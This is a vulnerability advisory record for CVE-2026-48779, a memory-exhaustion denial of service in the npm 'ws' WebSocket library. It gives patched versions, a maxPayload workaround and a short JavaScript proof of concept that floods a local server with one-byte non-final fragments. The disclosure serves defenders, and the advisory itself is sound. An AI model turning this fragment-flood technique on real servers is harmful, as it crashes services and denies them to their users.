{"id":"GHSA-96hv-2xvq-fx4p","revision":"0b0e6aa2fff240fc9ee538fc8f6c6abb","records":[{"revision":"0b0e6aa2fff240fc9ee538fc8f6c6abb","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-96hv-2xvq-fx4p","aliases":["CVE-2026-48779"],"title":"ws: Memory exhaustion DoS from tiny fragments and data chunks","description":"### Impact\n\nA high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.\n\n### Proof of concept\n\n```js\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer({ port: 0 }, function () {\n  const data = Buffer.alloc(1);\n  const options = { fin: false };\n  const { port } = wss.address();\n  const ws = new WebSocket(`ws://localhost:${port}`);\n\n  ws.on('open', function () {\n    (function send() {\n      ws.send(data, options, function (err) {\n        if (err) return;\n        send();\n      });\n    })();\n  });\n\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`client close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n\nwss.on('connection', function (ws) {\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`server close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.\n\n### Credits\n\nThe vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).","state":0,"publishedAt":"2026-06-15T16:34:23+00:00","modifiedAt":"2026-09-10T03:50:49.1636439+00:00","affected":[{"ecosystem":"npm","name":"ws","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.1.0"},{"kind":"fixed","version":"5.2.5"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ws","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"6.0.0"},{"kind":"fixed","version":"6.2.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ws","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"7.0.0"},{"kind":"fixed","version":"7.5.11"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ws","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"8.0.0"},{"kind":"fixed","version":"8.21.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p","https://nvd.nist.gov/vuln/detail/CVE-2026-48779","https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8","https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94","https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53","https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json","https://github.com/websockets/ws","https://bugzilla.redhat.com/show_bug.cgi?id=2489661","https://access.redhat.com/security/cve/CVE-2026-48779","https://access.redhat.com/errata/RHSA-2026:37272","https://access.redhat.com/errata/RHSA-2026:36820","https://access.redhat.com/errata/RHSA-2026:36754","https://access.redhat.com/errata/RHSA-2026:34342","https://access.redhat.com/errata/RHSA-2026:33574","https://access.redhat.com/errata/RHSA-2026:33183","https://access.redhat.com/errata/RHSA-2026:33173","https://access.redhat.com/errata/RHSA-2026:33163","https://access.redhat.com/errata/RHSA-2026:33160","https://access.redhat.com/errata/RHSA-2026:33155","https://access.redhat.com/errata/RHSA-2026:29197","https://access.redhat.com/errata/RHSA-2026:27171","https://access.redhat.com/errata/RHSA-2026:26638"],"sourceUrl":"https://github.com/advisories/GHSA-96hv-2xvq-fx4p","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-96hv-2xvq-fx4p","identifiers":["GHSA-96hv-2xvq-fx4p","CVE-2026-48779"]},"retained":false,"historicalAffected":[]}],"coverage":[]}